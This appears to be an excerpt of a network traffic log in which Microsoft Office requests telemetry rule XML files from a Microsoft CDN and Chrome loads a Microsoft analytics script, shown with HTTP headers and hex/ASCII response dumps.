2024-11-19 23:19:29 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:29 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231929Z-185f5d8b95crwqd8hC1NYCps6800000009dg000000008crr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:29 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:30 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:30 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231930Z-185f5d8b95cp7lkfhC1NYC7rpw00000009e000000000szuq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:30 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:30 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:30 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:30 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231930Z-1777c6cb754lvj6mhC1TEBke9400000008ug00000000b601 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:30 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:30 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:30 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231930Z-1777c6cb7542p5p4hC1TEBq09800000008q000000000hyma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:30 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:30 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:30 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231930Z-1777c6cb754wcxkwhC1TEB3c6w00000008k000000000tu1a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:30 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:30 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:30 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 073925de-a01e-0032-2d8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231930Z-185f5d8b95cwtv72hC1NYC141w000000097000000000tfcy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:30 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:30 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:30 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 0c3517a5-201e-0003-7a8c-3af85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231930Z-185f5d8b95cdh56ghC1NYCk1x4000000037g00000000d9h6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:31 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:31 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231931Z-r1d97b99577hsvhhhC1TEByb1w00000002ag0000000088fr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:31 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 1afac609-801e-00a3-2b8c-3a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231931Z-1777c6cb754dqf99hC1TEB5nps00000008r0000000000rwn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:31 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231931Z-r1d97b99577hsvhhhC1TEByb1w00000002d00000000024n5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:31 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 4ac405f8-001e-002b-168c-3a99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231931Z-r1d97b99577ndm4rhC1TEBf0ps000000083g00000000ckpu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:31 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49867	13.107.246.45	443	7184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 23:19:31 UTC	889	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241119T231931Z-r1d97b99577dd2gchC1TEBz5ys00000007xg000000004hm6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
